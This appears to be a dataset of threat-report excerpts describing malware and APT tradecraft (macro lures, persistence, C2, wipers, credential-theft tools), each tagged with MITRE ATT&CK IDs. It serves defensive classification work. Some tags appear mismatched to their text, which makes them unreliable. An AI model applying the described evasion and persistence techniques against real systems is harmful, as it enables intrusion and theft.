+This blog details the markers of this campaign, including macro content, campaign flow and phishing themes of our identified variants and older variants that have been attributed to Lazarus by other vendors. The Qualys Research Team recently identified a new Lazarus campaign using employment phishing lures targeting the defence sector. This is thematically similar to other observed variants where Lazarus has posed as defence companies like Northrop Grumman and BAE Systems with job openings. LockHeed Recruitment Lure . The macro uses aliases to rename the APIs that it uses (fig. 5). Other variants have used the UuidFromStringA function to decode the embedded payload and write it to an executable Heap. Lazarus has also used other novel methods to execute shellcode such as by using the function EnumSystemLocalesA as a callback to shellcode written to executable heap. 8). shellObj is the Wscript.Shell object that the vbs file uses to execute the beacon command. Additional vendors have also identified a variant that uses pcalua.exe. Additional vendors have reported on the current campaign while attributing it to Lazarus. Lazarus continues to evolve its capabilities by utilizing lesser-known shellcode execution techniques and incorporating various lolbins as part of its campaign	['T1059.003']
+Afterwards, the persistence file will be created in /Library/LaunchDaemons/ or ~/Library/LaunchAgents/ folder. This persistence file is also set to hidden with a randomly generated file date and time	['T1543.004', 'T1543.001']
+Extract the encoded payload. Decrypt the extracted payload. This uses the AES algorithm in CBC mode. Decompress the decrypted payload. This uses the LZMA algorithm. Decrypt the decompressed payload. This is simple XOR with byte key and as such does not impact compression ratio. Execute the decrypted payload as shellcode	['T1027', 'T1140']
+This function will either bind the calling process to a port or has the calling process connect to a remote host. The function is called in the following manner	['T1134.002']
+"The attachment itself is an Microsoft Excel XLS document that contains malicious macro script. The document presents itself as a standard macro document but has all of its text hidden until the victim enables macros. Notably, all of the content text is accessible to the victim even before macros are enabled. However, a white font color is applied to the text to make it appear that the victim must enable macros to access the content. Once the macro is enabled, the content is presented via the following code: ActiveSheet.Range(""a1:c54"").Font.Color = vbBlack The code above changes the font color to black within the specified cell range and presents the content to the user. On initial inspection, the content appears to be the expected legitimate content, however, closer examination of the document shows several abnormal artifacts that would not exist in a legitimate document. Figure 2 below shows how the delivery document initially looks and the transformation the content undergoes as the macro runs"	['T1204.002']
+This sample was delivered by a malicious document named “Interview with a north Korean defector”. The macro embedded inside unpacks and executes winload.exe	['T1204.002']
+Falcon Intelligence has observed two different methods used to deploy BitPaymer once the domain controllers are compromised. In one instance, only the domain controllers and other critical infrastructure, like payroll servers, were targeted and PowerShell Empire was used to download and execute the BitPaymer malware directly on these servers	['T1059.001']
+WIRTE used documents deploying Visual Basic Script (VBS), potentially delivered through spear phishing, decoys with Arabic content, occasionally associated with Palestinian matters	['T1059.005']
+Emotet is one of the most widely distributed and actively developed malware families on the crimeware landscape today. Emotet began purely as a banking trojan, but over the years, has continued to evolve and more recently, has been associated with some larger-scale targeted Ryuk ransomware infections. Emotet is commonly delivered via both macro-laden office documents, as well as URL-based spam messages that lead to an eventual infection. It's not uncommon to see Emotet reuse of some of the command and control (C2) servers over more extended periods. The goal of Emotet, as is the case with crimeware-based threats, is monetary. Attackers use Emotet to deliver modular payloads it can use to monetize infections	['T1571']
+Once the target’s machine is compromised, the attacker first enumerates all processes running in the system and all services. Then the attacker looks for all administrator accounts on both the local machine and the network. This reflects the Poseidon Group’s familiarity with Windows network administration	['T1057', 'T1007']
+The downloaded Stage3 is written in C# as in Stage2, and an obfuscation tool called Eazfuscator is detected by exeinfoPE	['T1027']
+"The IP address was also used to host the Cobalt Strike framework and shared an SSL certificate, b3038101fd0e8b11c519f739f12c7e9b60234d3b, with ColunmTK's IP address 185[.]118[.]166[.]66. According to Group-IB researchers, APT41 usually parks their domains for some time at 127.0.0.1 after their campaigns are over. The file is very similar to one used by APT41 in a different campaign described by FireEye researchers. In both cases, the files were used to establish persistence in the network. The files are very similar in the way they launch a DLL file as a service and create keys in the registry. The contents of the file ""install.bat"" from APT41's This is Not a Test campaign"	['T1547.001']
+Among infostealers used by the Kimsuky group, some samples have been found that use FTP to download additional malware after logging infected targets to the C&C [14, 15	['T1059.007', 'T1071.002']
+Multiple trojanzied updates were digitally signed from March - May 2020 and posted to the SolarWinds updates website, including	['T1553.002']
+Win32CmDll.dll first tries to inject the ManagerMain and GuardClient modules into a process with one of the following names: lsass.exe, wininit.exe or lsm.exe. If that fails, it tries to inject into one of the registered windows services processes, excluding processes named spoolsv.exe, ekrn.exe (ESET), avp.exe (Kaspersky) or dllhost.exe. As a last option, if everything else failed, it tries to use the processes taskhost.exe, taskhostw.exe or explorer.exe	['T1055.001']
+We have most definitely observed Kimsuky targeting specific individuals — in fact, up to the present moment — even going as far as registering Internet domains containing the individual targets' names, the PwC analyst said	['T1583.001']
+Sibot is a dual-purpose malware implemented in VBScript. It is designed to achieve persistence on the infected machine then download and execute a payload from a remote C2 server. The VBScript file is given a name that impersonates legitimate Windows tasks and is either stored in the registry of the compromised system or in an obfuscated format on disk	['T1105']
+In order to discover potential targets and locate the information it needs to authenticate against, the script passively collects data from /.ssh/config, .bash_history, /.ssh/known_hosts, and the likes. We did not identify any active scanning techniques used to identify additional targets	['T1018']
+The macro then creates a scheduled task named SecurityAssist that runs after waiting one minute. OopsIE Trojan Analysis The OopsIE Trojan delivered in these attacks is packed with SmartAssembly and further obfuscated with ConfuserEx v1.0.0. The Trojan extracts and loads this embedded assembly by concatenating the contents of two resources named S1 and S2 and decompresses the resulting data using the GZipSteam class. The resulting Interop.SHDocVw .NET assembly is packed with SmartAssembly and further obfuscated using Confuser v1.9.0.0. By using the InternetExplorer application object, all C2 related requests will look as if they came from the legitimate browser and therefore will not contain any anomalous fields within the request, such as custom User-Agents. hex(Environment.UserName/Environment.MachineName)> The Trojan will issue a request to this URL to check (hence the chk string in the URL) to see if the C2 server has a command for the Trojan to run. The C2 server will respond to the Trojan’s request by echoing the value <hex(Environment.UserName/Environment.MachineName)> if it wishes to provide additional commands. If the C2 server provides the appropriate echoed data in the response, the Trojan attempts to determine what commands the C2 wishes to run by issuing a request to the following URL: http://<c2 domain>/what. hex(Environment.UserName/Environment.MachineName)> After issuing the what command, the Trojan will parse the C2's response for the string Oops, which the Trojan will treat as the C2 making a mistake and will exit. Otherwise, the Server will respond with a command followed by a set of parameters, split up by the delimiter <>: [command]<>[parameters for command in hexadecimal format] The available commands are	['T1059.003']
+Along the way, HermeticWiper’s more mundane operations provide us with further IOCs to monitor for. It also modifies several registry keys, including setting the SYSTEM\CurrentControlSet\Control\CrashControl CrashDumpEnabled key to 0, effectively disabling crash dumps before the abused driver’s execution starts	['T1562.006', 'T1112']
+APT33 sent spear phishing emails to employees whose jobs related to the aviation industry. These emails included recruitment themed lures and contained links to malicious HTML application (.hta) files. The .hta files contained job descriptions and links to legitimate job postings on popular employment websites that would be relevant to the targeted individuals	['T1566.002', 'T1204.001']
+These macro injection modules also have the functionality to tamper with the Microsoft Office macro security settings	['T1562.001']
+TClient will use SSL to connect to Tropic Trooper’s C&C server. This allows Tropic Trooper’s operators to easily change/update the C&C server and configure other values	['T1573.002']
+They attempted to extract all Word documents stored on a file server belonging to this division by bundling them into a RAR archive by running the following command	['T1560.001']
+CTU researchers assess with high confidence that IRON RITUAL's intent is long term, covert access to networks of interest for the purposes of espionage and data theft.ToolsTaegis™ XDR Adversary Software Coverage Tool	['T1195.002']
+A format string that defaults to “public/Publics” that modifies characteristics of the folder and hide it from the infected user	['T1564.001']
+Each targeted file is opened, read, encrypted in memory, and then written to a new file in the malware’s working directory using the filename format <random number>.WNCRYT. The files are then renamed to their original filename followed by the .WINCRY extension and moved to their original directory. The taskdl.exe process launched by the malware periodically deletes the remaining WINCRYT temporary files. The encryption process does not directly overwrite file data, so forensic recovery of file contents may be possible depending on the environment. The entire contents of the file are encrypted and saved with a custom header (see Figure 7	['T1489']
+"As you can see in Figure 1, the authentication prompt says “Connecting to <redacted>. 0utl00k[.]net”, which is a DarkHydrus C2 server. If the user enters their credentials in this dialog box and presses ‘Ok’, the credentials are sent to the C2 server via the URL https://<redacted>.0utl00k[.]net/download/template.docx. With the authentication dialog box gone, Word displays the contents of the document, which in this specific case was an empty document. While this document was empty, the authentication prompt may have made the targeted user more likely to enter their credentials, thinking it’s necessary to view the contents of the document. DarkHydrus also created their C2 domain carefully in an attempt to further trick the targeted user to enter their credentials. Also, the 0utl00k[.]net domain resembles Microsoft’s legitimate ""outlook.com” domain that provides free email services, which also make the user less suspicious and more likely to enter their credentials. Some users may not even notice what domain the dialog states they are connecting to and habitually type their Windows credentials. We found two additional Word documents using the 0utl00k[.]net domain to harvest credentials, seen in Table 1. We first saw these related Word documents in September and November 2017, which suggests that DarkHydrus has been carrying out this credential harvesting campaign for almost a year"	['T1187']
+The dropper installs the Bisonal EXE file and decoy PDF file. These files are not encrypted and the offset to the EXE and PDF file in the dropper is appended at the end of the dropper file. The file name of the decoy file is based on the dropper file name. The dropper code creates a PDF at the same directory, give the same name with itself to the decoy file, removes .exe and adds .pdf in the code. The dropper also creates two VBS scripts in the %Temp% directory with a random 4 digits hexadecimal name. The other deletes the dropper and the VBS script itself	['T1070.004']
+Next, BoomBox AES-encrypts the host information string above using the hardcoded encryption key “123do3y4r378o5t34onf7t3o573tfo73” and initialization vector (IV) value “1233t04p7jn3n4rg”. To masquerade the data as contents of a PDF file, BoomBox prepends and appends the magic markers for PDF to the AES-encrypted host information string above	['T1036', 'T1027']
+For example, Monash University, located in Australia, has been a popular Silent Librarian target. Like the overall content of their lures, the subject lines of Silent Librarian phishing emails have remained consistent over time. Phishing Pages . We have identified 127 different domains used to host Silent Librarian phishing sites since 2013. Like a growing number of phishing sites, domains registered by Silent Librarian generally use Freenom top-level domains (TLDs) (.TK, . CF, .GA, .GQ, .ML) because they are available at no cost. Some of the other recent TLDs associated with Silent Librarian domains include .IN, .IR, .INFO, .LINK, and .TOP. Legitimate American University Library Login URL (above) . Silent Librarian Phishing URL (January 2018) . The content of Silent Librarian phishing pages is almost identical to the legitimate target sites. The actors likely scrape the original HTML source code from the legitimate library login page, then edit the references to resources used to render the webpage (images, JavaScript, CSS, etc. An analysis of the Silent Librarian kits identified two email accounts that were used to receive compromised victim credentials. Similarly, the credentials stolen in the Silent Librarian phishing attacks we identified were sold on an Iranian website; however, it is not one of the sites specified in the indictment. Using a combination of technical and open source research, we identified another website, Uniaccount[.]ir, that was used to sell the credentials compromised in the Silent Librarian phishing attacks	['T1598.003']
+An already public UAC bypass method is included in the binary. It doesn’t matter if the method will work or not since the process will exit. This is one more indication that the tool is still in development and there are plans to expand its capabilities	['T1548.002']
+Upon execution, HyperStack undergoes a similar registry key check to Turla’s RPC backdoor and updates the same registry key to determine which named pipes can be accessed anonymously. The HyperStack backdoor first copies itself to C:\ADSchemeIntegrity.exe and then installs itself with system-level privileges as the service Active Directory Scheme Integrity Service. HyperStack checks for the following registry entry and, when found, adds the name of its communication pipe (‘adschemerpc’) to the key value	['T1112']
+"The adversaries installed the backdoor as a service on the infected machine. They attempted to operate under the radar by naming the service ""Windows Time Service"", like the existing Windows service"	['T1036.004']
+The use of an initial reconnaissance document allows Inception to profile the target’s computer and potentially customize any subsequent malicious document to exploit known vulnerabilities in unpatched software on the computer	['T1566.001']
+"The backdoor installer will drop a normal sidebar.exe file (a Windows Gadget tool, a feature already discontinued by Windows), a malicious loader (in ""C:\ProgramData\Apple\Update\wab32res.dll""), and an encrypted configuration file"	['T1055.001']
+Spear phishing, including the use of probably compromised email accounts. Lure documents using CVE-2017-11882 to drop malware. Stolen code signing certificates used to sign malware. Use of bitsadmin.exe to download additional tools. Use of PowerShell to download additional tools. Using C:\Windows\Debug and C:\Perflogs as staging directories. Using Windows Management Instrumentation (WMI) for persistence. Using Windows Shortcut files (.lnk) in the Startup folder that invoke the Windows Scripting Host (wscript.exe) to execute a Jscript backdoor for persistence	['T1553.002']
+After the configuration is parsed, Cardinal RAT will proceed with making attempts at connecting with the C2. Using an example request and response from a C2 server, we can see how this traffic is configured	['T1560.002']
+As with every communication with the C2, the script collects and sends information about the target environment including the stack of security solutions installed on the computer and are part of the following list	['T1518.001']
+FIN6 also moved laterally to servers in the environment using RDP and configured them as malware “distribution” servers. Mandiant identified a utility script named kill.bat that was run on systems in the environment. FIN6 automated the deployment of kill.bat and the LockerGoga ransomware using batch script files. FIN6 created a number of BAT files on the malware distribution servers with the naming convention xaa.bat, xab.bat, xac.bat, etc. FIN6 renamed the psexec service name to “mstdc” in order to masquerade as the legitimate Windows executable “msdtc. Domain administrators have complete control over Windows systems in an Active Directory environment	['T1036.004']
+The first stage implant that is nested in the DOTM file, is using triple base64 encoding in the Visual Basic Macro - The extracted DLL (desktop.dat) is packed with the Themida packer attempting to make analysis more difficult	['T1027.002']
+Once these variables are set, the malware uses the SoapHttpClientProtocol class to communicate with its C2 server, which issues an HTTP POST requests that appears as	['T1571']
+Use command-line interfaces to interact with systems and execute other software (Command and Scripting Interpreter [T1059]) - Use scripts (e.g. VBScript and PowerShell) to speed up operational tasks, reduce the time required to gain access to critical resources, and bypass process monitoring mechanisms by directly interacting with the operating system (OS) at an Application Programming Interface (API) level instead of calling other programs (Command and Scripting Interpreter: PowerShell [T1059.001], Command and Scripting Interpreter: Visual Basic [T1059.005]) - Rely upon specific user actions, such as opening a malicious email attachment (User Execution [T1204]) - Exploit software vulnerabilities to execute code on a system (Exploitation for Client Execution [T1203]) - Create new services or modify existing services to execute executables, commands, or scripts (System Services: Service Execution [T1569.002]) - Employ the Windows module loader to load Dynamic Link Libraries (DLLs) from arbitrary local paths or arbitrary Universal Naming Convention (UNC) network paths and execute arbitrary code on a system (Shared Modules [T1129]) - Use the Windows API to execute arbitrary code on the victim's system (Native API [T1106]) - Use a system's graphical user interface (GUI) to search for information and execute files (Remote Services [T1021]) - Use the Task Scheduler to run programs at system startup or on a scheduled basis for persistence, conduct remote execution for lateral movement, gain SYSTEM privileges for privilege escalation, or run a process under the context of a specified account (Scheduled Task/Job [T1053]) - Abuse compiled Hypertext Markup Language (HTML) files (.chm), commonly distributed as part of the Microsoft HTML Help system, to conceal malicious code (Signed Binary Proxy Execution: Compiled HTML File [T1218.001]) - Abuse Windows rundll32.exe to execute binaries, scripts, and Control Panel Item files (.CPL) and execute code via proxy to avoid triggering security tools (Signed Binary Proxy Execution: Rundl32 [T1218.001]) - Exploit cron in Linux and launchd in macOS systems to create pre-scheduled and periodic background jobs (Scheduled Task/Job: Cron [T1053.003], Scheduled Task/Job: Launchd [T1053.004	['T1106', 'T1059.005', 'T1059.001', 'T1053.003', 'T1218.011']
+To decrypt the configuration data, the malware uses XOR with 25-character keys such as “waEHleblxiQjoxFJQaIMLdHKz” that are different for every sample. RC4 file encryption relies on the Windows 32 CryptoAPI, using the provided value’s MD5 hash as an initial vector. Among all these random keys once the word “salamati” was also used, which means “health” in Farsi	['T1140']
+Every time the malware runs a command using cmd.exe, the standard output (STDOUT) of the executed command is piped and written to a Google Drive account with the following filename format	['T1059.003']
+https://raw.githubusercontent[.]com/r1ng/news/master/README.md The malware accesses the URL and decodes the characters between the string “[Rudeltaktik]” and character “!” using BASE64. Rudeltaktik]MTE1LjY4LjQ5LjE3OTo4MA==! UBoatRAT uses a custom command and control protocol to communicate with the attacker’s server. The malware places the string '488' (0x34, 0x38, 0x38 in HEX) at the top of the payload or instruction and encrypts the entire buffer with the static key 0x88 by using simple XOR cipher. Then the network payload always starts with 0xBC, 0xB0, 0xB0	['T1027']
+ALL tim nha Chi Ngoc Canada: The shell script containing the main malicious routines - configureDefault.def: The word file displayed during execution	['T1059.004']
+shareDll, mshareDll, tshareDll Modules used to propagate Trickbot loader to connected network shares of the victimized machine. Modules used to propagate Trickbot loader to connected network shares of the victimized machine. wormwinDll, wormDll, mwormDll, nwormDll Modules used for spreading inside a local network of compromised machines via SMB. Modules used for spreading inside a local network of compromised machines via SMB. tabDll Module used to spread into the network using the EternalRomance exploit. Module used to spread into the network using the EternalRomance exploit	['T1135']
+1) The infection chain used in this attack begins with a weaponized link to a Google Drive folder, obfuscated using the goo.gl link shortening service. 2) When contacted, the Google Drive link retrieves a zip file, which contains a .lnk file obfuscated as a .pdf file using the double extension trick. 3) This file requires the target to attempt to open the .lnk file, which redirects the user to a Windows Scripting Component (.wsc) file, hosted on an adversary-controlled microblogging page. MUSTANG PANDA has previously used the observed microblogging site to host malicious PowerShell scripts and Microsoft Office documents in targeted attacks on Mongolia-focused NGOs. 4) The .lnk file uses an embedded VBScript component to retrieve a decoy PDF file and a PowerShell script from the adversary-controlled web page. 5) The PowerShell script creates a Cobalt Strike stager payload. This PowerShell script also retrieves an XOR-encoded Cobalt Strike beacon payload from an adversary-controlled domain. 6) The Cobalt Strike Beacon implant beacons to the command-and-control (C2) IP address, which is used to remotely control the implant	['T1059.001']
+This final payload is the ThreatNeedle loader running in memory. At this point the loader uses a different RC4 key (3D 68 D0 0A B1 0E C6 AF DD EE 18 8E F4 A1 D6 20), and the dropped malware is registered as a Windows service and launched	['T1543.003']
+The location of the working directory is determined by the instructions from the remote server. The directory is used as temporary storage for files containing collected data about the compromised computer	['T1074.001']
+The winupdate.ps1 script (SHA256: 36862f654c3356d2177b5d35a410c78ff9803d1d7d20da0b82e3d69d640e856e) is the main payload of this attack that we call RogueRobin. Its developer used the open source Invoke-Obfuscation tool to obfuscate this PowerShell script, specifically using the COMPRESS technique offered by Invoke-Obfuscation. Before carrying out any of its functionality the payload checks to see if it is executing in a sandbox. The payload uses WMI queries and checks running processes for evidence that the script may be executing within an analysis environment. The specific sandbox checks include	['T1047', 'T1497.001', 'T1057']
+The malware used in a DUBNIUM attack is committed to disguising itself as Secure Shell (SSH) tool. The file descriptions and other properties of the malware look convincingly legitimate at first glance	['T1036.005']
+The malware next sets out to prevent the victim from stopping the ongoing infection. First, the machine is removed from the Active Directory domain by using WinAPI or WMI. This makes it harder to remotely push any remediation tools to the infected machines	['T1106']
+After defining several variables, some of which contain ActiveX objects for file execution and manipulation later, the script uses a function to “roll” a random number	['T1218.001']
+A macro is executed by the Office document: The macro inflates and creates a ZIP file on the targeted system and executes a Lua script in this archive. The archive contains the Lua payload and luajit, a Lua interpreter for Windows. Here is the script: This script downloads and executes an additional payload	['T1059']
+In some previous phishing email campaigns, attackers leveraged SendGrid to distribute the initial emails to hide the Google Drive links in the documents behind a SendGrid URL as a way to bypass traditional defences	['T1204.001']
+Open malspam with password-protected ZIP attachment. On June 30 and July 1, 2020, we saw indications there may also have been a link to download a ZIP archive instead of an attachment. Extract Microsoft Word document from the password-protected ZIP archive using a unique password from the message text	['T1566.001']
+This said macro executes a command to download the first stage payload using msiexec.exe, a Microsoft Installer tool that can download and run a Windows Installer file. The first stage payload is an MSI Installer that was created using an EXE to MSI converter	['T1218.007']
+The variable $HL39fjh contains the base64-encoded PowerShell command shown in Figure 2. It reads the Windows Registry key where the encrypted payload is stored, and contains the password and the salt needed to decrypt the payload	['T1027']
+Posted on . May 23, 2017 . (May 2, 2022) . by Raphael Mudge . Cobalt Strike 3.8 is now available. This release also gives the operator control over the script templates Cobalt Strike uses in its attacks and workflows. This release of Cobalt Strike pushes back on this technique with the ppid command. These commands offer means to spawn a payload, in another desktop session, without remote process injection. As detection of remote process injection becomes more common, it’s important to have other ways to achieve our goals without this offensive technique. The Resource Kit . Cobalt Strike 3.8’s Resource Kit finally gives you a way to change Cobalt Strike’s built-in script templates. The Resource Kit is a collection of Cobalt Strike’s default script templates and a sample Aggressor Script to bring these into Cobalt Strike. Go to Help -> Arsenal from a licensed copy of Cobalt Strike to download the Resource Kit. The Resource Kit benefits from new Aggressor Script hooks to provide the PowerShell, Python, and VBA script templates Cobalt Strike uses in its workflows. A 21-day Cobalt Strike trial is also available	['T1059.001']
+Looking into the arguments shows that the process plugin comes from the received packet to execute functions such as collecting process information, running a new process, and terminating a running one. The process information collected includes the username, user ID, group ID, and process parent ID of the target process	['T1057', 'T1057']
+In some cases, the backdoor is packaged together with the CVE-2013-5065 EoP exploit and heavily obfuscated. This makes the analysis more difficult	['T1027']
+In my opinion enumeration is not an attack technique that blue teamers should focus their defense efforts on. The best way to prevent unauthorized users from accessing this information is by having strict conditional access policies which govern how and from where users are allowed to use their Azure AD credentials. That being said, there is a setting in the deprecated MSOnline PowerShell module which prevents enumeration using the Azure AD graph, which is documented here. I haven’t personally looked into bypassing this or if other functionality in Azure breaks if you enable this	['T1078.004']
+The bot shows a number of similarities to Dyre but appears to have been rewritten. This assumption is made based on old Dyre code, which would primarily use built-in functions for doing things such as AES and SHA256 hashing. In the recent samples identifying themselves as TrickBot, the code appears to be based on that old code but rewritten to use things such as Microsoft CryptoAPI and COM	['T1571']
+"Conficker will copy itself with a random name into the system directory %systemroot%\system32 and register itself as a service. The remote computer will then download the worm from the URL given and then start to infect other machines as well. Therefore, there is no centralized point of download. Upon successful infection, it will also patch the hole to prevent other worms to infect the machine"" (Racicot"	['T1105']
+HyperStack sets the registry key HKLM\SYSTEM\CurrentControlSet\Control\LSA\Restrict Anonymous value to 0 so anonymous logon users (i.e. null session connections) can list all account names and enumerate all shared resources on a remote share. The implant can then use the WNetAddConnection2 API call to connect to another remote device's IPC$ share. IPC$ is a share that facilitates inter-process communication (IPC) by exposing named pipes to write to or read from	['T1087.001']
+That executes the perl script, puts it to sleep for two seconds and deletes the file to remove any evidence	['T1070.004']
+Stop the service COMSysApp - Configure the service to autostart (to set up persistence on the system) - Modify registry keys to launch the DLL unser svchost.exe - Specify the malicious DLL path to be loaded into the svchost process. Immediately restart the service - Remove the batch files to reduce the fingerprint on the system	['T1569.002', 'T1055', 'T1547.001', 'T1070.004', 'T1112']
+The response to this request is hidden in the source code of following Flickr lookalike page	['T1001']
+Upon execution, the malware first decrypts its C2 IP address using a xor-incremental encryption and then creates a mutant, using its C2 IP address as the mutant’s name	['T1140']
+"The wiper module (SHA256: 391e7b90bf3f0bfeb2c2602cc65aa6be4dd1c01374b89c4a48425f2d22fe231c) that the dropper writes to the system is responsible for overwriting the data within the MBR, partitions, and files on the system. The wiper carries out this wiping using a legitimate hard disk driver called RawDisk by ElDos. The wiper contains the ElDos RawDisk driver in a resource named 'e' that it extracts by skipping to offset 1984 and reading 27792 bytes from that offset. It then decrypts the data using aa 247-byte key and saves it to ‘%WINDOWS%\system32\hdv_725x.sys’. The wiper then creates a service named ‘hdv_725x’ for this driver using the following command line command and runs it with ""sc start hdv_725x"	['T1485']
+Their next move was to list any remote shared drives and then attempt to access remote shares owned by the specific government office they were targeting, again attempting to extract all Word documents	['T1135']
+While Diavol is not packed nor has any anti-disassembly tricks, it does use an interesting anti-analysis technique to obfuscate its code. Its main routines are kept in bitmap images, which are stored in the PE resource section. Before calling each routine, it copies the bytes from the bitmap to a global buffer that has execute permissions	['T1106', 'T1027.003']
+Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. It uses RC4 encryption and custom Base64 encoding to obfuscate HTTP traffic. xxmm (also known as Minzen) — This RAT and likely successor to Daserf AES-encrypts HTTP communications using a one-time encryption key. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. CTU researchers identified an xxmm builder for xxmm (see Figure 2), which suggests that the threat actors customize the xxmm malware settings based on the target. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. After a few minutes, execute the malicious file on the system. Use malware to upload the large list of enumerated files to the C2 server. Use an uploader or other malware to send the archived files to an attacker-controlled server. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity	['T1080']
+When accessing the Pastebin URL, an encrypted blob is downloaded that requires a corresponding RSA private key from the configuration file. The configuration file analyzed did not contain the RSA private key and therefore we were unable to decrypt the contents of the Pastebin link. We assess the decrypted blob was likely a task for the Carbon instance	['T1140']
+If the user clicks on the link, he will be prompted to download a RAR file that contains the stage 1 malware/lure, which he will execute afterwards	['T1204.002', 'T1105']
+The newer versions of Valak download two payloads in the first stage. The first payload is Valak’s plugin management component (“pluginhost.exe”), and the second is the second stage JavaScript payload of Valak. In earlier versions, Valak did not include the “pluginhost” payload	['T1105']
+As seen in Figure 2, the VBA code builds the email body and attaches the malicious document to the email. We’ve seen both .docx and .lnk files being used as attachments. These are very similar to the content of the malicious attachments used in Gamaredon’s initial spearphishing campaigns. Figure 3 shows an email generated by this malicious component	['T1566.001']
+Unit 42 has discovered activity involving threat actors responsible for the OilRig campaign with a potential link to a threat group known as GreenBug. Symantec first reported on this group back in January 2017, detailing their operations and using a custom information stealing Trojan called ISMDoor	['T1059.003', 'T1059.003']
+spwebmember was written in Microsoft .NET and includes hardcoded values for client project names for data extraction	['T1114.002']
+The infection process is rather interesting, as it involves multiple layers of .NET assemblies that will eventually download the NanoCore remote administration tool (RAT) from a remote server and inject it into another process. In some instances, we have also seen the RemcosRAT malware family delivered as the final payload. The infection process not only downloads and executes a payload, but it also downloads and opens a decoy document to lower the recipient's suspicions of the entire process	['T1055.002']
+LookBack malware is a remote access Trojan written in C++ that relies on a proxy communication tool to relay data from the infected host to a command and control IP	['T1070.004']
+Network activity started with an HTTPS URL to namecha[.]in, which is an alternative namecoin block explorer. Namecoin is a cryptocurrency system that can be used for decentralized DNS. That proves to be the case here, since the URL returned an IP address used for subsequent post-infection traffic as shown in Figure 10	['T1568']
+There are multiple ways for the operators to reach a Kobalos-infected machine. The method we’ve seen the most is where Kobalos is embedded in the OpenSSH server executable (sshd) and will trigger the backdoor code if the connection is coming from a specific TCP source port. These variants either connect to a C&C server that will act as a middleman, or wait for an inbound connection on a given TCP port	['T1205']
+The backdoor component, POWRUNER, is a PowerShell script that sends and receives commands to and from the C2 server. POWRUNER is executed every minute by the Task Scheduler. Figure 5 contains an excerpt of the POWRUNER backdoor	['T1053.005']
+The following network activity observed from msiexec.exe illustrates how the malware leveraged a signed and verified certification from Sectigo RSA Code Signing CA to propagate	['T1553.002']
+"Config.json"" is a mining config file for XMRig, an open-source Monero miner. The file sets the mining pool as xmr[.]pool[.]MinerGate[.]com:45700 and the actor's wallet as rocke@live.cn. This configuration file contains the same actor pool and wallet information as the first. Lowerv2.sh"" and ""rootv2.sh"" are similar shell scripts that attempt to download and execute the mining malware components ""bashf"" and ""bashg,"" hosted on 118[.]24[.]150[.]172. If the shell scripts do not download a miner from 118[.]24[.]150[.]172, they attempt to download a file called ""XbashY"" from 3g2upl4pq6kufc4m[.]tk. Based on the config file it uses, it appears to be the Monero Silent Miner. This miner can be purchased online for $14 and targets malicious actors. The sample grabs the config file ""xmr.txt,"" which contains the same configuration information as the previous files, from Rocke's command and control (C2) server hosted on sydwzl[.]cn. Intriguingly, this file appears to share some similarities with Cobalt Strike, the popular penetration testing software, which would allow the attacker to have greater control over the infected system. So, while we can asses with high confidence that the payloads share some code base, we are still unsure of the exact relationship between Rocke and Iron Cybercrime Group"	['T1564.001']
+The resulting executable acts as another loader for yet another embedded file. However, this loader uses the hostname of the current system to decrypt the embedded payload. Therefore, if it is run on any system other than the one intended, the malware will fail to execute. This trait illustrates that the malware is customized; it was created specifically for the exact victim system on which it was discovered	['T1480.001']
+Hello, I got kinsing on my main development box (ubuntu 20 lamp stack). NO docker NO redis NO phpunit How it got in, is a mystery. All I can tell is it came in via apache (kinsing was running as www-data and main kinsing executable in /tmp was owned by www-data). I am using Laravel 7.2.0 not sure are there any loop in the laravel	['T1133']
+This module intercepts HWP documents on an infected computer. The HWP file format is similar to Microsoft Word documents, but supported by Hangul, a South Korean word processing application from the Hancom Office bundle. Hancom Office is widely used in South Korea. The account is hardcoded in the module along with the master’s e-mail to which it sends intercepted documents. It is interesting that the module does not search for all the HWP files on infected computer, but reacts only to those that are opened by the user and steals them. This behavior is very unusual for a document-stealing component and we do not see it in other malicious toolkits	['T1566.001']
+RAR archiving – files are transferred to staging servers before exfiltration. Certutil – a command-line utility that can be exploited and used for various malicious purposes, such as to decode information, to download files, and to install browser root certificates. Adfind – a command-line tool that can be used to perform Active Directory queries. Csvde – can be used to extract Active Directory files and data. Ntdsutil – can be used as a credential-dumping tool. WMIExec – can be used for lateral movement and to execute commands remotely. It can be used to find information and execute code, and is frequently abused by malicious actors	['T1119']
+LaZagne (SecurityRisk.LaZagne): A login/password retrieval tool - Mimikatz (Hacktool.Mimikatz): Tool designed to steal credentials - Gpppassword: Tool used to obtain and decrypt Group Policy Preferences (GPP) passwords - SniffPass (SniffPass): Tool designed to steal passwords by sniffing network traffic	['T1040']
+As is evident here, the SSH server will accept connections on port number 6789. By running SSH on the server in a compromised network, attackers can come back to the network whenever they want	['T1571']
+Additionally, once infected, the malware cycles through a large list of command and control (C&C) servers embedded within the malware. It appears while the list is extensive, not all of the C&Cs are active and continue to beacon until a successful connection is established. Despite modifying a small part of itself while copying itself across the network as a means to evade detection, the operators have made no effort to change the C&C communication protocol since its first inception	['T1049', 'T1008']
+After exfiltrating the files, the threat actor used web shell access on the staging server to delete the staged RAR archives and detach their network shares, likely to avoid detection. Figure 5 shows the commands used to perform these activities on a RAR archive renamed with a *.jpg extension	['T1070.004']
+The threat actor conducts mass-scanning and uses tools, such as Nmap, to identify open ports. Once the open ports are identified, the threat actor exploits CVEs related to VPN infrastructure to gain initial access to a targeted network. CISA and the FBI have observed the threat actor exploiting multiple CVEs, including CVE-2019-11510, CVE-2019-11539, CVE-2019-19781, and CVE-2020-5902	['T1046']
+This final payload is the ThreatNeedle loader running in memory. In addition, the malware saves the configuration data as a registry key encrypted in RC4	['T1112']
+Containers that are created during the attack are configured to bind /tmpXXXXXX directory to the root directory of the hosting server. This means every file on the server’s filesystem can be accessed and even modified, with the correct user permissions, from within the container	['T1611']
+Several files are created by Carbon to keep logs, tasks to execute and configuration that will modify the malware’s behavior. The contents of the majority of these files are encrypted with the CAST-128 algorithm [4	['T1027']
+Upon ejection from the network, APT15 managed to regain access a couple of weeks later via the corporate VPN solution with a stolen VPN certificate, which they had extracted from a compromised host	['T1133']
